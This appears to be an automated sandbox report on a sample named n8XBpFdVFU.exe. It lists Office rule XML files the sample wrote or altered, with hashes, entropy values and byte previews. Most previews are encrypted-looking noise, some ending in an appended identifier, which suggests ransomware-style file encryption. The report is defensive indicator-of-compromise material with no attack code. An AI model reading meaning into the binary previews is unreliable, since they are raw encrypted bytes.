Preview:	.<?.Lb(..../.9..B...s.]......!? f..[.d.D..&.v.."O.4z.;......z.O.R...&n&..&...5.F[t..mD.T.e.9.....\|<.X.O.....\|.......R...\....'.U.>......a. k...U... .(....~ .;.>.l.v.G..M..)......a..H...."HS.5~...7.......z.B.a.....cri.7P)..&..S..W........(.L3D.........p.*~...p.'.S..,.T.Ig.I..cbhK..<.v!.&]........).PG.X..We.&..."b2.GU"p:$..7.R.;../.;.K?.o..W..u....4..z........!...;......v..0Z..4.O..../.......2G.o..3R]..P..>....v........g..A.......o....Y93.<.S.d......C.qcB{.T.I./N....^EX.I..V..U..B.....:...L.O0..Y\|G!s.....[..yo..../..$rND..t....P...'rM.E+e..O.......\|.`gp.x@v.fG..X6...M.S.4.j.z.....s..[..<.S'X......G.4.v..N....][4l..a.....Bi8g.uR.........sJO.....g.].n..V.>.s:d..\|T...a..!.....+....{#:L...un..W}...:.+.1t.X.).U+h..O......P.n....T.N4...PNF.S..X.p.o./...$!..."..w. ....'..[..L.....F<...6O..3.S.x"..,...:.P....I..}9...$..5J.bq.2.a+.0..:.C.w..L.c>...v/....X<s...Jo...j.VM.1.........Zg.j.......B.....Fg..K6...w{.^...............o.D/3.;..G.....=B..-F.O.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.861049161184415
Encrypted:	false
SSDEEP:	48:l1uOEI/CaIv8ZTL5QK9ENTBcLyjR/vjnUDe8kp7D:xEI/FIvcTyIEBtjRVp3
MD5:	88E0B13710FF98857CF125464ED9AE68
SHA1:	8781C8812B1CA5CE0A055F184F86C4CB19FBAAFD
SHA-256:	47F99CBB65AB7F5ED0BAC19020F76131631412968D311672E4118C9E6206CEC6
SHA-512:	07206FF677A5CE8F97220EFEEC3459025A316394F18985E0C8B4F3847F18A4D274DCBCE04D1A4E40C9CCCF91F06423027FEF84A71C905C8332614DC0BFB59673
Malicious:	false
Preview:	<?xml2h...x..Q...s.1....t...............2/.'...m...'..n..pko....M........F\|.p.......%.N...k...1..?...........;.E4.p..9....A.=".n..[.-..^..q3L...,.5h3.Rp....z.k)X....-E...K..sB..b...Sm.w..1d.s.......)[X.(....i.......x....dL..f.L.q=.H.,O4.Ut\|w...Q.h.4.0:...{....>._..G.Y..o9N.....3...{.M?.._)>.n. l..=.594.G.3.].<Gg.....-2=.....b.0...B...hp.dx...."Jy...Y...G^.Qn.8Q!..^..H..;.. s....J......+o9..9@y.....,.....g..>}...W.....c.Wz....z..i. ..2......D....).A.V........p.......Z..z../.=..,.'...}Ps^....v.L.J..#..p.g/cv`....6.."+..P.....k"O.b.{G....."s.%..B.R<......A..YAo.. 8...@.e...S..H...E(.Xg9?.....bDYd..N.....c.eD.(X..B...p.;........+V(y.^m&8.Po.A.&9a7Z..r~$}+j...P...\|.mu.:g.8...l.k.-.l..I.Y^...[.Nu..V........9...(..6..Z.....?.W..9.sl....Z..v..(.....%Z./.Q\|...^..G......%S......go1.....D[.....`.@.^.`...~....=.D..W.,'.=.....W1..*.s...d..$7\|._>.....Ew..~"m.q. K.n/..?]....H.N.f._m5......!-..G.....0...-ZN].m.6.P.;."....W.W3t0....]k..G.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515527406147995
Encrypted:	false
SSDEEP:	3072:wbrez14J6DlDb9fLSxLhrMhuIrQKNkNXhmF8EPoFg0B:4C1/JA1SuIrQKSphmF8Vqs
MD5:	2EDB2D782E3C848EB139AE54AC92CC69
SHA1:	7C227ADE3D7BD5BA992A81E940D75857EDAD826F
SHA-256:	5A8EF0F491B54AE271A125F378EF125C0CE97D9A341D9F54CB2FB55D2C8A183F
SHA-512:	AE9DF62C8D1BAD3ABDC7495BF048721DE10A9B878752A7945222B3B6B0CE9213B88903F3BD0E3662D860BDF579CBEE4DD0557BECBA43BE94C08D58ED42D79565
Malicious:	false
Preview:	<Ruled..x....E......v...!^....Z..Y...2kg..7X.`...E.<W.......1.I......'....6.Z9../`..X...7....h.e..q....}.+}".........U_..l..=[3.+.9.)...iV.N6d.UK.:....Gq..N.....RX.7.%........C..Cd.=?..P../Rz.0....\..C..$.s.u...&.YM.W.:....l#l.....!.v9...:..e.!.a..(.;....z..{..Bw...EG..DG.}Q..>...i....}.oXK+.i.\|.%,..%&..>OQ..]...J..._.....,f./...^........I..c-..r.(.Kg.f+..H......g.._.....N7...Cp...x..C....;..c......&3....@,`...Y..c.2~...G.~.%.....C=\.=,(....:..Q_T......j....x.#s...9..m.P........0....oV@K..d.o.B..D.\E...P1../....9&.u..`a.q..1D.....q.;. Z..A...5:(..J.........v.J...F.."..O....`...GE...W_BtY..t..z.+d...u%.......`..P.+C..l.d..2.]6m....m,.......T...}.z..N......$.^....RC..@...Z..`y....9x...O..I...X....[#........6....k.......s..6.L.m......]....z..N....q_}c........R...b#... ..9V..:..[)....s.w=..q..+q...1...}...>??/.g..6w....u.p.....B.L.M?...c.^.;......x5B..?q..F....v"/.....].`B...)10f6..o ......S..{.\.-d..H.tvL.s....g4)....dq.^..mzHy..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.901779238183316
Encrypted:	false
SSDEEP:	48:zG1nZBE4j7hmBhWGCMBh9Xvcp4SCYWVqXxCg/AD:+BE4j9ShWGTcQE01
MD5:	62CE573DB1D448AF4B7BF80D8AB7BCA4
SHA1:	3B2DA7D912E6BFEDF0D9AD439ED11890D1668DB5
SHA-256:	F777DD28CD5E6F9A2CC893B84E0481A940FE467E15B1B8C4F71581F8E84DE738
SHA-512:	0D1F7337BEFB55357E575BDA018DB6886A4A1BBF99DCBFD1EB87BE8E1585E3D38FA7594E30761581AE3F2B7403301DBECDDCB6266E51ADF0392206DC0E312000
Malicious:	false
Preview:	<?xml... (.l..b..eyd.&.(]f.k...)..M...e... .H.#.mA<.@...I...=.....G..8...F._.....YZ40...S..'S.r..4..kv>....p.".TY4Z.9..........D~...%DH..RF.....e..]..)~OW._.T1Y._... .cn......dr....`;-.h..8...4..+...c.....`4(H.V....<F%...._2s.+.tC...B...6...}...\|B..qJ#/....5S..n.?....w9..>..d5...E..S.?1.U....s.X...1h.I...FW.b."..3S .......[a>j..Np/?8.D..f......#..R.....Wv.e..R<.x9...>.Z. #.....tR.a;....;.)o.....T..I...w0_y.C..S.>A`..;....P.{......~+k.Jxj.....aR...y...T...ht.z..d...R_f....N..:r.Y.O1-&.m._.E...m..6cL.Z?....x...Qg.$.2e..9..G..4..3P...AI.sG....\...[."...P...m..g..... .....Xj..(k..z'{.\.^.alYQ..E....Z.......<.......k.D..6....u....b.... ...Un&..Q...HO.k..SUw.Z....Ol.N.&..._.!y.>.......MpA......3T.i....>r...5.]...}5.\.l1....."..."...GR5.!..sMV.'.-..h......,.=.1.."....M......xg:`Q}.e.0.j.G...{.Yf..AB.j...Y?`..P.j[.wO0 ....@..+..>f.z....7z..]L.$C.s..\|xO.... b...s...Q.G.f...pY..$.[...`..t..M'....^.8C.Ll.x..vX\.K..%N..} ../...Y8..<$.M...a........[...../.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.857775851061666
Encrypted:	false
SSDEEP:	24:new3kyw5WMAppkfQxYVjzSMKk0iAwiY2cmvqZlN2MgToM7wYIUyefmqbD:ew0yFM0pEjdAwiY2Fvug8KwrID
MD5:	D07776B6098A1E9582640B9AE410C51F
SHA1:	561996FE1B7E40FC40B3F5D212852A66F1C6E069
SHA-256:	B02A5DC0EFA1BEC67E289262365EE1FED749432F7E475C82F865474B21F7131E
SHA-512:	02C036F4B1BDC88AA95E162CD4865971FB39C5B94730A262550F604EAF3DA9E4C3D5ACC07A83A3977194E2DCDFB90BFD3547B9BC7777178B39EE24C5C98FFC6F
Malicious:	false
Preview:	<?xml_k..].(...c$..[....."..h..0..2....xP'E/.):%p..9}.../..]C.%...P...$.KS.}..+=..)....2.0.....u....0.`..F>....Im.A..eS...R.\V......x..'S.....=@...DX..h..............._....u...P..ji,...E.d.`....ov.U..(".z.0.p;...4;....3Bq..u....C....Y.......)t..U..(..&.....t....3.._...!......l..k....$!..?n&......ypk.9...H...>.>.V....v."...U..f........y.}\|P.0....&...l.3...Y[....2...P..'...[.E.zk..E.z?<.....q'......".S.wv.Q."lY\a.....5..5.UTSz..6.,.6.%x.X.I~./....j.o.^UMz.e].@........^...?jK.R...fV.....W..L..%\.T...H...{......C.h...[5.M^........B%1......k...2.z.j.J..R;..Uv..E...v-.).^p..o.I.Q..w......$......`.Dm...........4+...1..6...O......O.[.L..^...:=......7]d.e....x..,.?/.S\x...>.....l.Q.b.}.wI...........V.j.i..w.Sd...L.q.O..MQ...#, .FQ.$..H-.eX.v....a..'.,E...8..'P.X.v.{...B.%..A.U.....N;-.p..#....[.%A.k....2..~..[...$../T.......j...S.E}:..9.$..F..d.:{..&....b.?9.u^..8.''...2.g/.6.N.Y..B..U.........m..i1W.^..`.Sd.......>Ffc..........7...-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.934160768855839
Encrypted:	false
SSDEEP:	48:qO4Jg2VicHKtaTfCddpHiI85p8pCoOkZlRZSelAoWIdOdU9ao8n4Ig9an/htS11A:Yu2Vim0fDpH3+ACoFRZSwWICU9Yrg9az
MD5:	75C1EBBAB93AE6A122447AC4742855DB
SHA1:	60BBEBECD63C5EFE052E9C00A2D39C2C57D71078
SHA-256:	432E8ED031A01F2C393F49C41D583E312D9F0D72DAA25D02FC6F6B7641AF65AA
SHA-512:	8E8057D9DA56D6D90C50616AD92C5613E83D391FD98A01DCE6BF785241AE7722D8C3D93C04AC1D603399775758C2C07A3E171A1122F86779A511281C1DD15E9B
Malicious:	false
Preview:	<?xml...9.........q.A.......aq-.7.....]..R.7'."6.-.DYg..IW.+..`..N.Jk...Q..y.;.nb>.g\..V/z.l4;..<_...6....E..r....uPz#..ep$..a.h..j=..7..d...O8d.U,M...:.&.....wF%.........).ERNp.j...2.)..G..F.n...Y.....F....\|.}8B~.....$.<N9..I..0M.1.@.Z..o[..'$.$2.z.%m\|..lu...........!...>..J2...2..5.H..,.b=.T3,.._~=\|.O.......M{..l.Ua...R^.l.fJ..\.D.Y_..v.E..... .-hfFQ.4.H..\|a.s...dL...z..._...?k.......=~..S<.s&u...%f....F#..o..&..L....l.S...O.n......L....k;e..6~.....%.X.E.. \...bd...aYS3...r..8Q!!xX..!.y`.V.#...X..h^.{..sV....Z..V.y......{q...$.[i~.^!.+.9b.~....q7......_.2...l...<.a..9.......@y.<1.J.$K.Z...&..q+{.....H...j.:Sy.B.A.=.........Q.....-...!{..1Q.6D.3.\|..2.D.4.....L....!S?.....#.......".I......J..U......S3.sY...j.j...m.n.;....5..W.j..#c..]..wg...<.i5....x......._.Y2"@eCJ..7k.....G.,..........V.!aP..g.h.hq.a.;.....2~..'0hU=....K.............x{.>.A...u.m..b`w a..K\^.P.1A.=v..1o_"..U......K).M..q.....'.[)...X........n..^..*.1..if%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.872190554226621
Encrypted:	false
SSDEEP:	48:l5WqSAnSofCI99IskIqiPxjDsFsLuBtm4TSzWd0E7D:/WqxdbyoxYFZSCR
MD5:	E2F87D966DBB7FC28070C865152E3D56
SHA1:	FC76E95CF0FC9539019BB28C5BFD13F68A8FC3DC
SHA-256:	CD579D8F5C9523C3D0138D4E82786014EC8A3AE4538D3BA7BA114BF2ACDD017A
SHA-512:	B4882685FB2FC4C38A5AAB800376064B6313B86D57A585AA6C3B685D0198B1F62B6AC00332034B01DC036C15589D84C2F80D21FAE117A53DBDEDB49C1E7EA3E8
Malicious:	false
Preview:	<?xml...`.\..U.....b.....g...y1&..S..z\|).m.k.h..W9...Y9w..S.....c.X...K.....[.s..W.p..%O.......4..~n..B.I...MP,.0..g{..}`......J..K..W.}.x.!,GY#..7.4...= L...{A.I.....gX.Y}...h.`X.)...v...w.Qg....p.^..".l.....$.(.M7.0..xr,......I..X.GSCq.a.Q..!.`.......7.I.Ih.#...3.4[.x...\..=.k."..-P.{.'.b.pdD.."..`......>............%c.o.(...w?.n.E.qT..N........6.4&.(.V.\|e...I#<'.K..J.L.Z.YZ...1..hL.7....ByZ..t......WuU.-!.'.h.h.?.V]...f.>.4.C,..W`.g...w....^.$_.`F.RH.....H.g.....A.b..&...LlZ..t...3.y>".S=~.tU..]Q.KU.2......`......N.A..~.I?-...yb.@k7.a......K...LV.x.v..Wj....g":...]....c}....DdI...W3...l..G9..d^.$W+...>..N-x..S.......4...sa.C..-.d .....<g.\|.w..VL;7.TE>..1=..a.`^R.Q..(A;.........T]Vr..-.o..Y...j.L..tX..Mrc..XwE.p..y>....i@S.S.l.E...9...pl....F..C+gV..P..ON.o.......h.\..~P4..\ZN..}K._=.i.K..a.ab..?..2..(..3..c.3.<.v..<h..vm.....(5.M..v.7.... .q^.V.a.U.%5;..@..P..g.J.~..i............%_.......>..i.5l....`.j....g..e...-b'."!.s5...l.c?.`,...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.894563397653244
Encrypted:	false
SSDEEP:	48:FjrN6Y9EJqPyMlK2alSFBC8eUg3dNHT4cPePUekU2D:FjrNp9DyMkQFwwg3b2Pwd
MD5:	3A8EA7DA9D0283CC67FE79418524F9FA
SHA1:	43BE55A52612F869F5C666C34BD3FCE70C8265FF
SHA-256:	EC8F784CBCD35DFDE3478D971E96634F5E80C27FD8AF8DCEEBA7C25D80A96BA0
SHA-512:	491E7834A556C2FBF0389666A8182680B1756C2C9612C97FCBB65EFDE3E51F75DA7479E0BB4E996E59D565DD81F26488AECD9DF8C6BD33AC4036B811DCEF7E5F
Malicious:	false
Preview:	<?xmlX._V-.^.K...z..........8P\|.q..)u\|X<...)a..L.!.....r....Gp@...x.y?..L..J.\|-.F........bl..x...Su.v.~.......?.`..5.......5(....}v9....}H]L.LZ..6........,.p.Dr.'&QH8...Y.t...L.. .....S.-...jy....35o.%@....pi....Y+^..t.w...2...f...9....:D\|....1si......z..#t.\L.4.{.Q. ../[~....t.j.a.`.X<VB.......m..vB.K.....2,...H`..o....2Nc...&W)..O.R\|...<.j...2^~.B....'...w.r..q..OW.s],....J'-C..z.J.BtCRM...FdU..G..........xz.E.(...<{..9F..{@.........'....]D.S5.(.M..a..(.g..u.~...............h."/}..bu}r.~.....r[.!.1.CHV.K...P...sA..0W....F...3..-.F"Z....R...g..c.6o.K.....V9.......(l .\|Wt.t@X`....A.)d.S..{........\.7oq.B6.a_o".o\|..j./D.=R..<.K.yE.....<....]gk2...m!a.R7}.E,...E...\...[.g.z..~!.}.3..v......q....<!.._.0.....D.....Eb..e7.:..!Xd..n....H.Z8...Y.].V....H$;V.1i.....v... e....$.k...B.a..r.t........~.. .Y.H..\|HA.....d..C9;1.#.&iCI....1=.j/0Z...n.f{(K....lC.3..Q[.4s..<.F.i.....Jk3s...;.w..;..,....Fa....^8.rH.+..T.S.;t..<\R..t.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.711053812133969
Encrypted:	false
SSDEEP:	24:KgEF/d9NHyYe2g03p/TY10O1MTlf3S0/6bD:Ng/PNHy6lY0Llfl/4D
MD5:	F0317059298106511114DA49642AE5C3
SHA1:	55980FE52AA2B099314852E64F1BF999DC0616D5
SHA-256:	293B8012BA5856069D504601D3A8E84F6A271801FBB93694B52C78DE496C7A7F
SHA-512:	0C73B21AB0C207BF45CDC43CE9B1874BD93DC3380CC5136E7BF5E24959ABF387DF3A8CFFD75B27065D6333D223E3476607BA3004982257B1D83E31365CE17FC5
Malicious:	false
Preview:	<?xml.E.Cw..V...;......0A........1 ......(.)...$7..\|~....E`.....-}.y&.^\|CN......~...-......L.J<...x..%..N,o`..yB...e.wJ(;.` E_^t.1M.2..]U......%....k..\|ZA..4.X.dc.X...\...A.2.uk~>.Fm.:.....(...(.Q.....d.~l-r./.=....\|.5.q..T<>{.._.R.!.T$.Z8.0...q{6.y..w.y0By...7......#...=..O=,.ibA.......0.......{..v..F.!....4y...[.SHIE.&.F.s.A....D..tV....o......e..i@q..."\T.Ce..J.6.Z....}0w..Aw.#...X.,J8..../f.....3..........3..bx..B...[.m.U..M....(....$m..q..V.3.W?y.....L.nE....".&>.r.}w........+.....-.c..).9,Lv.......7.0,x-Rp[..?.3J#O....C...h.;...8...H..K..&w.O..[..+7.2.9vh..e@t..0.!.1..m.....g...-.2..^. ".n+.z..\|ZF\j_%U.;M.AB..s..Pj'.'....3B.m.w`.d-...8>...O(=9...J.....$m...O.x40._..r.)....(....\|-..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.899187190742778
Encrypted:	false
SSDEEP:	48:0Kql2u/oLk3fBgacNzVu1bE4ub8c76yJTpSVePSd0RAIRKmD:hql2CNvINBu1I8c76gpScPSGSv+
MD5:	7021293D05BB0A02B91CAFA91D6DA32F
SHA1:	E5274A54919F5E928011BD29EFF907F34226B456
SHA-256:	0823ACE540A6CD4A1965559A08B937C47FF577169DD917100BA5679ACF0A8E14
SHA-512:	15FBF65877578FCBDE45C06303FBC40A8FF7F22030F4358FE3B03C1FC2C0BC8D4E863B5F92CE5D15614F8A838699DE40391A37A397BDED031C2A3986EA341190
Malicious:	false
Preview:	<?xml./.,.3Zl.`.B.!T..^.s....?,E.....g..&.....Gg.N....k...].x4...co....-m.E.......[.8.T@.....&:['.xG..)ILA.>.....h..V......\|,.hD.`.i...1...w\.'&.h)..O.}H}y....Z..z.....=...e.<.0a..G.K,..A.I....0......6..C..X......\|....~.KGP2...}.1N..~W..B...o.qD....$.I.........h.~y1_c...U.+..Z._.......Y..\.O.0.{.6..<..(.t.F...V`..s.FiU2.Gs."..}F...y....:./~..!...6...jz..&.P~.fL.9c}Eb..P..g...@S...[...k.X\|(.y....]JX.Z*....t<..-.?]..c.A...D...{^A../....5.]..(...W...tB.q.$.9G..Vn...Y....n...m.U.~{...(WZ@x-?.....9...D4........ov.w;.=[.`...)1.T.rI..AXm..-...A.!.....9..E.-..R..E.e....9...eFrU.@..c...5.,....W.(.U@...2...-w'..M.@.(.]..T...[.j."...."..N...a...L./.3......-.%.....=...~.Z;>.J2.c.&m.}..Y.j...1Q..S.N...J.`;.....&.9~..w..EZ.q.4e..pf7,P.......9j..l....pIv:.O...1aM=G5...~V.L.&...O.YUdg2.^.$."'..S.5..n...M.o.....y...E..6.$)#.....4..(k[......cXt..s.c_..~c.. .....!..N....[...i.l..D.....H.......E.......>\|...E.&.y....S.z......~.....a.2...@...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7450563890984405
Encrypted:	false
SSDEEP:	12:opEkhn2DxPB9gqk4WEbR8YWQcFivL61Tt9LgE+RcpEhT2D3i5DfIkM1+cii9a:op0ZBnk4WYWHoTKTt9UE/pIki5QUbD
MD5:	BB972322EE7E80016ADAD4DAEF27D8D4
SHA1:	E674C5EACF24FC0E7BE37AC782713ACA31D17A03
SHA-256:	FCF5B6A2D77B84D949A164980A5DC98B9ED2F67614DD0908D6553CFF1FCDA18B
SHA-512:	A567F32749E9596F58218F710EDF2A0A5EF0BD8FCB440F3D7C0649F050DB3071FDC43F85E568AEBEE279D25BCB32D5CA7FB1D03DFACCCA40455418486295F3EA
Malicious:	false
Preview:	<?xmlU..h....}....g..0R{3..f..R0.....Y..fa{\d.7.D...../..,=........t.sp.T..]..Y...B.....w..,.,K.z.7..\|.K..e.B..'...=U..z.Y..XLy.).\R........".c......M.A>.^gHW^.]..9....x......2a..BE..~.2....d..y.m,....m9-.;~rk...{KW.H...(i..f[.....m.&]..f...;\|E..^...J$2I...>....r......3c..d.o1.8wm.X:[4..2SR...C..D<u]...1/@dQ..r......#...Ab..(.D.......".<g...,.l.MO:.(.>,\..._f.FC.<.>.....xN...0r9..G....G.-..D.Ghl...i{..s..E.I.....3M.H.n.Ux(7..d.R...i......g..........N.Q:...5.k....]...Jm.:.N.I6.<..wj...K.....{.c!.(....:"........T..L...+.q.B.V......./t..yq..s.$M..+c=.,...r.M. q....><s..G....2..UF...5.....j#....P..n.b_.#.....%.T......lu.S^..4..S...f..pO..1.\.cAi^...y[......g.z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941932356126277
Encrypted:	false
SSDEEP:	48:P7lD85SDF6/8ocNdgBMt9HGUcrCIsirpJPaQn/S5bzvBB5WpZ17GfvwrbD:C0FTgBMtJIr2uaQ/0ZBMtOIX
MD5:	5DC1591A2D40EB358FDF7375784C76E5
SHA1:	271CF47BBBC58FCAFAE25F401F1B76B89344F19E
SHA-256:	2C111C0AF4B46CFE66AA365AC70CD07308485C6DFEEF0780F619670D82920555
SHA-512:	D4A8FAF5F6BB744E5EA8F1BB77C718A010FDC1CC94E12F2E987140695C38FBE2546F1EF55D151247430788FBEF6143D8DB9BE0B03195149E7010561BB342021A
Malicious:	false
Preview:	<?xml.6.......=;Y.&..W.$ .1..8u.......Ia/...+=.q..LO eQ..&....P.v9....`DZ..(Q...(.....%..<\.....^P...d.....f. ..).94.)./.8S=..rx....z)..'/..3.........}.S..LGp....L....f..7#...:{_V...L..q.T.}.w@G...#.M..z.j.T\|....E....t.-cDf...F \|...{w!.GP........@{...w.m..T.....s...#.....%Og^Z....G7 ^.N.....7...B.5....._..A.{.}7.......v....?.Q]".u.l..Y..]...e.C.........t\|.M.xQ...s.7.G.L.N.<1).D..h..ZS.Y.zBF.=...a+..!A..Z.....;i......i..m..H....9..1...-..6S^...%..y))~.[O.>...........t......QU.dv.h{.....U't.C.2.....^...d.....a5 )..K..)..<......d.._.....-.....O.h..,0?r....r.....!...........lS.."g..G.j:..%.lNNv.;...E}..m......j..R...](.>...<s...-...-.r..dC...g!Jv.#.3...`..a.s....Dz.......m..Ll..4..y.Y3.u7s$.F......`.}...u..+.h.6..}l..#K%6...3j&.T>... \..................h0..%.R.\thP.A"H.~..)....?I....b.-..o.JP...s......ea..........1e.....r.e.}......8rIH'P'w.....G.HwD.g.Y.K......-..S.......b..a.:G-.'..:"7L...0.;...Z....9..U.;v.+..A........0.)c..&........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.939435448249385
Encrypted:	false
SSDEEP:	48:dF43I0lfcfl6wvxcHFvIuQS4T0mxH5M3X6v56XQ4DTMrBZIZ/djD:z4lFgvxsXQkmR5MFcrBZIldv
MD5:	35F7520D649C01FB6BC932FBD7F3E49D
SHA1:	FB1DA687E57BFA625020A76A6F96F8228D304B1F
SHA-256:	F851091CE815C9C063AA78631048809C25F1A382E41CDDA01D00AFE1A0A2D2A3
SHA-512:	245AE8928C9B2EF3C86EFF2B5779CCC5612E74FAFC22EB29B12113B5B6607499FA2451558643F9F9434AD4B242FF7B15A4920FE744A909AB8A94A95C5B79946E
Malicious:	false
Preview:	<?xmle.yT.7..a.Q.y0_.".e..#..EJ.....k.o.I3...q.H.RvZPk....~B../.v.e..f.T;.L.....d?........'#...ISg...y.U9.'....\|..~V5x..+....KFF.f.c.....3...dsqB.{...K.\q...5l..P3.<..\...M.l"........&>....ik[.S.^........Do.;..,..m!....hULr;.3....m.g..j..6..6DC$.~B9.b@..v...Py.P.K.....@.l..n})h.S1W...2..N..G....C..s.z.6<.l.../.b2..m.d..u.As0......U.......9....aL..Z-.'.~f.w..aPuUt.Wo4....z.3'"=..F.O.....4....d.d.T:N.?....GLT.\|4K9.g........$D.....N.[..tfN.U.i...._.qe!g.%..P.m.n%....Yo.i. .m....s../.r.3+..u..._..s.X.]q..0..8u..C......~......n..i.,6..J.BZ..7.q.$..~.L*...(!.Lw.8.,o\..TE..6M.....F..."....V....AC).t.s.q.J..)......~....B...nC.#?...d...qeV..}..x.R.1.t[.,~....A.-....W[Z:..&......:..R.....3b..c...gH.~...k.}8.n...@/3.....o.P...%BTi$8...,.O..j.p....=l..5..4.?...NU75{...%..H..)..?.^..Tr..-.T.H0e......v....%.&2..<r...y..vZ..R5`....WWZ.z.=.....Nl.>.......F.-.....M.6..N_...L.U.J..A...'b..K...(...W._..Dp7..b.......z[.]Rr..;.K......K.zP..9[.......Y.6..e...o?..%5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.965889590086025
Encrypted:	false
SSDEEP:	96:7d0z5TtPiqr1YnD+mzHz+d6ikQInDhC1S4QQVhYz5GYdQGVFCb6FDT:07iq7JouS4QX5GYzF5DT
MD5:	B09E9900184D64EABE105E8F8213EDB1
SHA1:	68EEA5ECDE76A84CC369E0D2C6F4732B3660D688
SHA-256:	2DE46F19FEA5B0C1423B529B84E69078BA480A02A614601EA13764FAC54359C8
SHA-512:	18FF47550586303C4A2E91C10C7F220B1C9DAA44A88CB37DEC73BFFE373537B7276C509CE43A019F560295C42548A9DF042AF7606455C693F59E724649F1044A
Malicious:	false
Preview:	<?xmlt....+g!.c..F:..V...R}.{jz....S..g..~.G3..XbO...\...................>..N^..e.......$..\KM..&W.v.y.."~[.kW._.. s......C..X.%..C.n....\..)...G....:.D...".yQ..o..;.!..,-.k...._..IJ...s..3.BC...Z..k+7.y.!.G.t..[.z...,r.@E..3..cw5.r:.1V..;.......... M.o.......8e.T.#.U.y$3T.J..T.5..v..1LgN...o.`..;DNM..w....1..v.F}.C...j.N.4.....$.........=....3lI......B..U....k8..PQ....V..<LNQ@.r...1.6R...t.......L.....H..n..W....gyC....w./.aT......A..jM}......z....A._.sG.Q.?......\.5..<......(.TN....S.,Q..h.! B@...t...h.q...=CW.....'......y5..65..k...GDn.Tcv.hhC.q6....4.5#..,";]:@.....5.A.V...K.J.\....N..fa..k.@..d.QMe)....k.x./.o..3h.I......C`.a../.Q.c.fH..W..sQ.3\|..Z}`.$\|.V...p.O......e...t..4..#..i....v?...}..i'.c..Lx..c..G....G..q...#.n....D.....&.F:ak..MN3.....P........Z+.M.x.z2..............Z.X%.L...L.......Z$Dr.....n......"...E_.D.....{...W....C.F........u.d.t,[..:u..Xo.L}.@WG"....[.y.}L.....=.u.^.........2.v9yCqm.lM/...U.ST..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.813808680857427
Encrypted:	false
SSDEEP:	24:dy1VS33254Uci1BW0foDhTZVh/Px83wr7teKgw/0fKxm1M+iRvAJLSn9GkKJWkyX:Q41UcMBW4olZb/P63qReK9dCSRvWL2hD
MD5:	1F03103ABEAB9204D2704A8532089B11
SHA1:	2665791057D6A786EE7F08CEAB4AB8A909B81D41
SHA-256:	226F372FC2F0702AB316BE61F3030AED7357B8F0D18D1671F89E04A15970BB41
SHA-512:	CBE0F12315500B9359D053240AC89DFFFD61F20C1E29440BE5431272227E7A70D7286DC444A8B05EB9AB9E3411D795D28D4B88F817ABD17B1B3C71E89C4BD78C
Malicious:	false
